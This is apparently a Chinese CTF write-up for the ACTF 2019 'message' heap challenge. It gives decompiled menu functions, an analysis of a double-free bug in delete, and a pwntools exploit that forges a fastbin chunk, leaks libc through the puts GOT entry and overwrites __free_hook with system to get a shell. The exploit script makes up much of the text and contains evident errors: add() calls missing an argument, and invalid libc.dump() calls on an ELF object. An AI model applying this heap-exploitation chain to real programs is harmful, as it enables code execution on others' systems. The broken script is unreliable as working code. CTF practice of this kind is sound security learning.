1.checksec+运行
除了PIE,其它保护全开,规矩的堆菜单
2.64位IDA
1.ADD
{
int i; // [rsp+8h] [rbp-28h]
int v2; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( dword_60204C <= 10 ) //全局变量
{
puts("Please input the length of message:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( v2 <= 0 )
{
puts("Length is invalid!");
}
else
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
{
dword_602060[4 * i] = v2;
*(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
puts("Please input the message:");
read(0, *(void **)&dword_602060[4 * i + 2], v2);
++dword_60204C;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
else
{
puts("Message is full!");
}
return __readfsqword(0x28u) ^ v4;
}
2.Delete
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Index is invalid!");
}
else
{
free(*(void **)&dword_602060[4 * v1 + 2]);//释放堆之前没有判断当前指针是否为空
dword_602060[4 * v1] = 0; //free之后没有置0
--dword_60204C;
} //UAF或者Double free漏洞
}
return __readfsqword(0x28u) ^ v3;
}
跟进看一下 &dword_602060
利用double free,利用&dword_602060附件的位置,进而就可以修改&dword_602060的内容,也就可以修改其它chunk
0 chunk的位置 0x602060 -0x8=0x602058
在这个位置上伪造chunk
3.edit
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("No message can you edit");
}
else
{
puts("Please input index of message you want to edit:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 ) //对size边界检查
{
puts("Now you can edit the message:");
read(0, *(void **)&dword_602060[4 * v1 + 2], (int)dword_602060[4 * v1]);
}
else
{
puts("Index is invalid!");
}
}
return __readfsqword(0x28u) ^ v3;
}
4.printf
{
int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("No message in system");
}
else
{
puts("Please input index of message you want to display:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 )
printf("The message: %s\n", *(const char **)&dword_602060[4 * v1 + 2]);
else
puts("Index is invalid!");
}
return __readfsqword(0x28u) ^ v3;
}
漏洞利用就是delete函数的free,用double free
但是该题没有直接的后门利用,而且got表不可写,所以不能直接利用plt/got表,需要借助libc中的hook函数
libc中有一些hook函数,malloc_hook、_free_hook函数:
1.__malloc_hook:在malloc之前,检查malloc_hook是否为空,如果不为空,那么就会跳到malloc_hook去先执行它;
2.__free_hook:在free之前,检查free是否为空,如果不为空,就会跳到free_hook去先执行它。
3.源码中 ,__free_hook的参数和free的参数一样,是chunk本身,所以我们可以直接输入/bin/sh,调用__free_hook,执行/bin/sh,执行free,就会执行system
本题我们使用__free_hook,相较malloc_hook会更方便
3.EXP
from pwn import *
context.clear()
context.arch = 'amd64'
context.log_level = 'debug'
name = './ACTF_2019_message'
elf = ELF(name)
libc = ELF('./libc-2.23-64.so')
p = process(name)
def add(size,message):
p.sendlineafter(b'choice: ' , b'1')
p.sendlineafter(b'message:\n' , str(size))
p.sendafter(b'message:\n' , message)
def delete(index):
p.sendlineafter(b'choice: ' , b'2')
p.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
p.sendlineafter(b'choice: ' , b'3')
p.sendlineafter(b'edit:\n' , str(index))
p.sendafter(b'message:\n' , message)
def show(index):
p.sendlineafter(b'choice: ' , b'4')
p.sendlineafter(b'display:\n' , str(index))
system_addr = 0
free_hook_addr = 0
libc_base = 0
def libcsearch(leak,func,path=''):
if path=='':
libc_base = leak - libc.dump(func)
system_addr = libc_base + libc.dump('system')
free_hook_addr = libc_base + libc.dump('__free_hook')
else:
libc = ELF(path)
libc_base = leak - libc.symbols[func]
system_addr = libc.symbols['system'] + libc_base
free_hook_addr = libc.symbols['__free_hook'] + libc_base
add(0x30) #0
add(0x20) #1
add(0x20) #2
delete(1)
delete(2)
delete(1)
#fastbin double free
puts_got = elf.got['puts']
fake =0x602060-0x8
add(0x20,p64(fake)) #3--->1,直接写到了fd指针
add(0x20) #4--->2
add(0x20) #5--->1
add(0x20,p64(puts_got)) #6--->fake
show(0)
p.recvuntil("message: ")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print("------------------",hex(puts_addr))#拿到地址,泄露libc
libc_base = puts_addr - libc.dump('puts_addr')
system_addr = libc_base + libc.dump('system_addr')
free_hook_addr = libc_base + libc.dump('free_hook_addr')
print("------------------",hex(libc_base))
print("------------------",hex(system_addr))
print("------------------",hex(free_hook_addr))
edit(6,p64(free_hook_addr))#将free_hook_addr写到fake内容里
edit(0,p64(system_addr))#编辑0,将其内容改为system
#将free_hook指向了system
add(0x10,"/bin/sh\x00")
delete(7)#执行system,/bin/sh\
p.interactive()